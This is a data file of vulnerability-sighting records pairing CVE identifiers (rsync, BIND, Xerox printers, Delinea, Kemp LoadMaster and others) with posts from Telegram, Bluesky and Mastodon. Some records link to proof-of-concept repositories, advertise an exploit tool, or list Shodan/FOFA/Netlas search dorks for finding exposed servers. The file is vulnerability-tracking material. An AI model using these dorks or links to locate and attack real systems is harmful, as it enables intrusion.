{"uuid": "7f02d09c-84c7-4d45-affb-53cf4d53b235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "ea7cdb6e-64ad-428a-ae70-e1541f8c6668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "f5898ae7-0d07-4981-a201-1ab9120970ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/onfpowernemesis/3222", "content": "\u041d\u0435\u043c\u0435Z\u0438\u0434\u0430 (Telegram)\n\n\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438...\n\n\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0441\u0442", "creation_timestamp": "2025-01-16T08:41:42.000000Z"}, {"uuid": "046ba461-e7d1-48d3-9bca-7ace63dba631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/ckeArsenal/299", "content": "https://vulncheck.com/blog/four-faith-cve-2024-12856\n\nFour-Faith Industrial Router CVE-2024-12856 Exploited in the Wild\n#\u5206\u6790 #poc #exploit #IoT", "creation_timestamp": "2025-01-01T17:37:16.000000Z"}, {"uuid": "d4a99d7a-5eea-4529-99c6-3d811a2c480c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/suboxone_chatroom/7383", "content": "CVE-2024-11187, -12705: Vulnerabilities in BIND DNS Software, 7.5 rating\u2757\ufe0f\n\nTwo vulnerabilities in BIND allow DoS against DNS servers, which can be a preparatory step before the main attacks.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/bGSFv\n\ud83d\udc49 Dork: dns.banner:\"BIND\" OR dns_tcp.banner:\"BIND\"\n\nRead more: https://kb.isc.org/docs/cve-2024-12705", "creation_timestamp": "2025-04-01T12:36:25.000000Z"}, {"uuid": "9a445e7c-aaf5-4956-a382-cb224e40f9ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/DEVIL_La_RSx/370", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-11-20T22:32:26.000000Z"}, {"uuid": "6a07a527-c17e-4952-a936-f70654752ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12908", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/313", "content": "https://blog.amberwolf.com/blog/2024/december/cve-2024-12908-delinea-protocol-handler---remote-code-execution-via-update-process/\n\nDelinea Protocol Handler - Remote Code Execution via Update Process (CVE-2024-12908)\n#\u5206\u6790", "creation_timestamp": "2025-01-13T09:16:53.000000Z"}, {"uuid": "9223f4c1-e191-4de7-aae3-d646ed4f02a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12908", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/269", "content": "https://blog.amberwolf.com/blog/2024/december/cve-2024-12908-delinea-protocol-handler---remote-code-execution-via-update-process/\n\nDelinea Protocol Handler - Remote Code Execution via Update Process (CVE-2024-12908)\n#\u5206\u6790", "creation_timestamp": "2024-12-27T18:51:16.000000Z"}, {"uuid": "d25fc81e-253d-438a-8969-099840dbd400", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/259", "content": "https://github.com/Rehan07-Human/Exploiting-RCE-Cyber_Project_CVE-2024-1212/blob/main/Cyber_Project_Report.md\n\nExploiting RCE Vulnerability in Kemp LoadMaster (CVE-2024-1212)\n#github #poc #exploit", "creation_timestamp": "2024-12-26T15:21:24.000000Z"}, {"uuid": "192477ee-43d6-4160-92ae-ff11a07b6710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/374", "content": "https://github.com/themirze/cve-2024-12084\n\ncve-2024-12084\n#github #poc", "creation_timestamp": "2025-01-22T13:35:05.000000Z"}, {"uuid": "94f8949a-06ec-48fe-a481-aa5a863bc55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/suboxone_chatroom/7443", "content": "\ud83d\udea8 CVE-2025-1094: PostgreSQL psql SQL injection\n\ud83d\udd25PoC:https://github.com/rapid7/metasploit-framework/pull/19877\n\ud83e\uddd0Deep Dive :https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis\n\n\ud83d\udc47Dorks:\nHUNTER : protocol=\"postgresql\"\nFOFA : product=\"PostgreSQL\"\nSHODAN : \"port:5432 PostgreSQL\"\n\n\ud83d\udcf0Refer:https://thecyberthrone.in/2025/02/15/cve-2025-1094-impacts-postgresql-with-sql-injection/\n\n\nhttps://t.me/SuBoXoneSoCiety", "creation_timestamp": "2025-04-01T12:42:19.000000Z"}, {"uuid": "2e1645b3-7d5d-4256-9733-14ab88eb0f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://t.me/suboxone_chatroom/1577", "content": "#exploit\n1. A Practical Guide to PrintNightmare in 2024 (updated\u00a0Oct 5)\nhttps://itm4n.github.io/printnightmare-exploitation\n]-> PnP bypass\n\n2. CVE-2024-12209:\nWP Umbrella Unauthenticated LFI\nhttps://github.com/Nxploited/CVE-2024-12209\n\n3. CVE-2024-30085:\nWindows 11 23H2 EoP\nhttps://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe", "creation_timestamp": "2025-01-27T07:07:44.000000Z"}, {"uuid": "6eb70bd8-bb99-47a3-b849-ac146de81962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/suboxone_chatroom/6751", "content": "\ud83d\udea8 Security vulnerabilities in Xerox VersaLink printers could allow attackers to steal authentication credentials via pass-back attacks, exposing critical systems.\n\nCVE-2024-12510 and CVE-2024-12511 impact LDAP and SMB/FTP services and could lead to compromised Windows Active Directory access.\n\nGet the full details: https://thehackernews.com/2025/02/new-xerox-printer-flaws-could-let.html", "creation_timestamp": "2025-03-25T05:42:41.000000Z"}, {"uuid": "2091d6d3-8fa9-4d86-8311-69aff7664472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/suboxone_chatroom/6751", "content": "\ud83d\udea8 Security vulnerabilities in Xerox VersaLink printers could allow attackers to steal authentication credentials via pass-back attacks, exposing critical systems.\n\nCVE-2024-12510 and CVE-2024-12511 impact LDAP and SMB/FTP services and could lead to compromised Windows Active Directory access.\n\nGet the full details: https://thehackernews.com/2025/02/new-xerox-printer-flaws-could-let.html", "creation_timestamp": "2025-03-25T05:42:41.000000Z"}, {"uuid": "4cf355f7-5c31-4916-9763-0719d97a8dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12798", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3ml6w2j5p2y2b", "content": "", "creation_timestamp": "2026-05-06T14:30:22.480978Z"}, {"uuid": "050ae48e-6b63-4b8a-9aaf-47ea1364f6fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "", "creation_timestamp": "2026-05-07T10:52:26.097750Z"}, {"uuid": "70d3d0c4-5525-4767-a13a-1ba4466df3d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/yannhowe/bc79334e9ba4f17106e2a63e09047707", "content": "", "creation_timestamp": "2026-05-11T14:19:10.000000Z"}, {"uuid": "ad4363bf-c230-45c3-a054-fb1f30afa8c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/98dfc241-f74a-4ad3-9b5d-a312ab6e6c87", "content": "", "creation_timestamp": "2026-05-20T04:18:43.499633Z"}, {"uuid": "c628b491-0d4c-4df6-a515-8f5f09673ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmd7s2zztm2y", "content": "", "creation_timestamp": "2026-05-21T01:00:28.633155Z"}, {"uuid": "11affdd2-8ed2-4d7b-a014-28abe18b62e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/ap/users/116025545744531578/statuses/116612467967333188", "content": "", "creation_timestamp": "2026-05-21T15:18:46.803247Z"}, {"uuid": "bbca3119-429f-4fa8-b410-3ffb27c2441c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/true_secator/8229", "content": "", "creation_timestamp": "2026-05-21T15:33:40.000000Z"}, {"uuid": "5e0263ed-0fad-4886-8852-4c53830f2bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/captechgroup.com/post/3mmeusqje5z26", "content": "", "creation_timestamp": "2026-05-21T16:49:18.351182Z"}, {"uuid": "dbe8ce3c-0252-41b8-9ed7-1de101176d7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "cve-2024-12802", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mmfejdsqzr2p", "content": "", "creation_timestamp": 